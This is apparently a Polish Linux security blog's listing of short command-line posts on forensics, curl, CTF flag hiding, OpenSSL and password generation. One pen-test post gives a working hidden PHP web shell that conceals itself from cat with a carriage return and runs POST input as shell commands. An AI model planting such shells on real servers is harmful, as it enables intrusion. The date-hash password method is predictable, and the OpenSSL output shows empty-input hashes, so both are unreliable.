NFsec Logo

Kilka przydatnych jednolinijkowców dla informatyki śledczej Linuksa

12/08/2021 w Bezpieczeństwo, CmdLineFu Możliwość komentowania Kilka przydatnych jednolinijkowców dla informatyki śledczej Linuksa została wyłączona

sudo grep -F '(deleted)' /proc/*/maps | grep -E '\s[r\-][w\-]x[sp\-]\s'

– znajdź działające procesy z usuniętymi plikami wykonalnymi.

sudo find /tmp -executable -not -empty -type b,c,f,l,p

– znajdź pliki wykonalne w katalogu /tmp.

sudo grep -a -E '^.{,5}\[' /proc/[0-9]*/cmdline

– znajdź procesy z nawiasami kwadratowymi (używane przez złośliwe oprogramowanie, aby wyglądały jak procesy jądra).

sudo grep -E '\s[r\-][w\-]x[sp\-]\s' /proc/*/maps | awk -F ' ' '{if(length($6)==0){split($1, arr, "/");print arr[3]}}' \
| sort | uniq | xargs -I {} -n 1 bash -c 'cat /proc/{}/cmdline; echo'

– znajdź i wyświetl procesy mające niezmapowane sekcje wykonalne.

Więcej informacji: Ściągawka z informatyki śledczej w wykrywaniu włamań za pomocą linii poleceń Linuksa, Thread with one-liners bash commands to search for malware in a Linux host

Pokaż wszystkie pakiety zainstalowane ręcznie w systemie

14/01/2021 w CmdLineFu 1 komentarz.

while read x; do echo -e "$x\n`aptitude why $x`" | grep 'Manually installed' -B1 |\
grep -v '^Manually installed\|^--'; done <<< $(apt-mark showmanual)

Jak sprawdzić każdy shorturl ?

07/11/2020 w CmdLineFu Możliwość komentowania Jak sprawdzić każdy shorturl ? została wyłączona

Usługi skracania adresów URL istnieją od dawna. Wikipedia datuje je na rok 2000. Dzięki mediom społecznościowym i komunikatorom usługi skracania adresów są teraz bardziej przydatne niż kiedykolwiek. Bazując na ułomności ludzkiej pamięci pozwalają nam zapamiętać krótkie adresy zamiast długich wierszy. Skrócona „część” działa jak unikalny klucz, który serwer może użyć do przekierowania żądania do wybranego, końcowego adresu URL. Istnieją różne metody przekierowania przeglądarki z adresu URL na inny. Większość z nich zwykle opiera się na nagłówku HTTP przy pomocy kodów 301 (Moved Permanently), 302 (Found), 307 (Temporary Redirect), czy 308 (Permanent Redirect). Niezależnie od kodu miejsce docelowe przekierowania jest zwykle zakodowane w polu nagłówka: Location. Bazując na tej informacji możemy sprawdzić większość skróconych adresów za pomocą polecenia curl:

curl -svI $SKRÓCONY_URL --max-redirs 0 \
--user-agent "Googlebot/2.1 (+http://www.google.com)" 2>&1 | grep -i location

Jednak sam proces przekierowania to nie jedyna rzecz, która ma miejsce, gdy nasza przeglądarka trafia na serwer skracarki. Pozostawiamy również wpis w logach ze swoim odciskiem palca zawierającym adres IP, nazwę aplikacji klienckiej i wszystko to, co przeglądarka akceptuje, aby przekazać serwerowi. Te wszystkie rzeczy poszerzają możliwości skracania adresów URL i pomagają zespołom marketingu, SEO i innym „szpiegować” (pozyskiwać dość szczegółowe informacje analityczne) klientów z nich korzystających. A jeszcze gorzej, jeśli za ich pomocą przekazujemy poufne informacje.

Wyciąganie adresów URL z plików JavaScript

26/06/2020 w CmdLineFu Możliwość komentowania Wyciąganie adresów URL z plików JavaScript została wyłączona

for i in `curl -s https://adres.pl | grep -Eo \
"(http|https)://[a-zA-Z0-9./?=_-]*\.js"`;
do curl -s $i &> /dev/stdout | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*"*; done

Gdybym miał ukryć flagę CTF w Linuksie

29/09/2019 w CmdLineFu, Debug Możliwość komentowania Gdybym miał ukryć flagę CTF w Linuksie została wyłączona

0. Utworzenie pliku:

touch .findmehere

1. Lokalizacja obiektu w systemie plików:

ls -i .findmehere
15466911 .findmehere

2. Zakodowanie wiadomości:

while read -n1 char; do printf "%d " \'$char; done
C67 T84 F70 .46 f102 l108 a97 g103

3. Umieszczenie wiadomości w pliku:

sudo debugfs -w -R 'set_inode_field /home/ctf/.findmehere \
version 6784704610210897103' /dev/sda2

4. Sprawdzenie zapisu wiadomości:

sudo debugfs -R 'stat <15466911>' /dev/sda2
Inode: 15466911 Type: regular Mode: 0640   Flags: 0x80000
Generation: 1555060808 Version: 0x5e281ce5:65935ccf
User: 0 Group: 0 Project: 0 Size: 0
File ACL: 0
Links: 1 Blockcount: 0
Fragment:  Address: 0 Number: 0 Size: 0
 ctime: 0x5d8faaf2:5d64fd54 -- Sat Sep 28 20:48:18 2019
 atime: 0x5d8faaf2:5d64fd54 -- Sat Sep 28 20:48:18 2019
 mtime: 0x5d8faaf2:5d64fd54 -- Sat Sep 28 20:48:18 2019
crtime: 0x5d8faaf2:5d64fd54 -- Sat Sep 28 20:48:18 2019
Size of extra inode fields: 32
EXTENTS:

5. Weryfikacja wiadomości:

printf "%d\n" 0x5e281ce565935ccf
6784704610210897103
for i in `echo 67 84 70 46 102 108 97 103`; do echo -ne \\x$(printf %02x $i); done
CTF.flag

Więcej informacji: Ext4 Disk Layout, Czas utworzenia pliku w Linuksie

Testowanie ruchu HTTP 1.1 za pomocą curl

10/08/2019 w Administracja, CmdLineFu, Debug Możliwość komentowania Testowanie ruchu HTTP 1.1 za pomocą curl została wyłączona

C

url może być pomocnym narzędziem przy debugowaniu. Gdy na rozpoznanie problemu składają się problemy z: siecią, DNS, serwerem lub wydajnością samej webaplikacji – możemy bez wahania po niego sięgnąć. W celu izolacji problemu możemy uruchomić curl’a w następujący sposób:

curl -w "$(date +%FT%T) dns: %{time_namelookup} connect: %{time_connect}\
 firstbyte: %{time_starttransfer} total: %{time_total} HTTP: %{http_code}\n"\
 -o /dev/null -s "https://apka.dev"

Polecenie takie puszczone w pętli da nam ładny podgląd na każde żądanie HTTP:
[ czytaj całość… ]

Przyśpieszanie polecenia: ls

10/05/2019 w CmdLineFu Możliwość komentowania Przyśpieszanie polecenia: ls została wyłączona

W

poprzedniej części – dzięki zmiennej środowiskowej udało nam się przyśpieszyć działanie polecenia grep. Dzisiaj zajmiemy się poleceniem: ls. Jeśli polecenie to zajmuje dłuższy czas dla wylistowania bardzo dużej liczby plików – szczególnie jeśli są one umieszczone na sklastrowanych systemach plików typu Lustre możemy sprawdzić, czy ustawienie zmiennej dla niewyświetlania kolorów podczas listowania przyśpieszy operację:

export LS_COLORS='ex=00:su=00:sg=00:ca=00:'

Czyli prosimy ls o niekolorowanie na listingu plików z bitem setuid/setgid, flagą wykonywalności lub możliwościami opartymi na plikach. Analogicznie możemy przyśpieszyć w określonych warunkach (zależy po jakiej treści sortujemy) sortowanie bardzo dużych plików poprzez ustawienie:

export LC_COLLATE=C
export LANG=C

Tylko musimy liczyć się z faktem, że zmieni się zachowanie sortowania, ponieważ program sort uwzględnia te zmienne przy decydowaniu o jego kolejności. Np. LC_COLLATE o wartości en_US.UTF-8 spowoduje, że małe litery zostaną posortowane przed wielkimi literami.

Więcej informacji: When setting an environment variable gives you a 40x speedup

Ukryty webshell w PHP

10/03/2019 w CmdLineFu, Pen Test Możliwość komentowania Ukryty webshell w PHP została wyłączona

 

$ sudo echo -e "<?=\`\$_POST[1]\`?>\r<?='PHP Test';?>" > test.php
$ cat test.php
<?='PHP Test';?>
$ curl localhost/test.php -d 1=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
PHP Test

 

OpenSSL – sprawdzanie czy klucz pasuje do certyfikatu

10/05/2017 w CmdLineFu Możliwość komentowania OpenSSL – sprawdzanie czy klucz pasuje do certyfikatu została wyłączona

Jak sprawdzić, czy klucz prywatny pasuje do wydanego certyfikatu? Powinny posiadać identyczny skrót SHA256:

openssl rsa -noout -modulus -in kluczdomeny.key 2> /dev/null | sha256sum -
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 -
openssl x509 -noout -modulus -in certyfikat.crt 2> /dev/null | sha256sum -
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 -

Jeśli jest inaczej to znaczy, że coś poszło nie tak w procesie generowania certyfikatu lub pomyliliśmy pliki.

Jak wygenerować silne hasła jednorazowe w Linuksie?

18/02/2017 w CmdLineFu Możliwość komentowania Jak wygenerować silne hasła jednorazowe w Linuksie? została wyłączona

pwgen -sy 30
date +%s | sha256sum | base64 | head -c 30 ; echo
strings /dev/urandom | grep -o '[[:alnum:]]' | head -n 30 | tr -d '\n'; echo
< /dev/urandom tr -dc _A-Z-a-z-0-9 | head -c${1:-30}; echo;
gpg --gen-random --armor 1 30
openssl rand -base64 30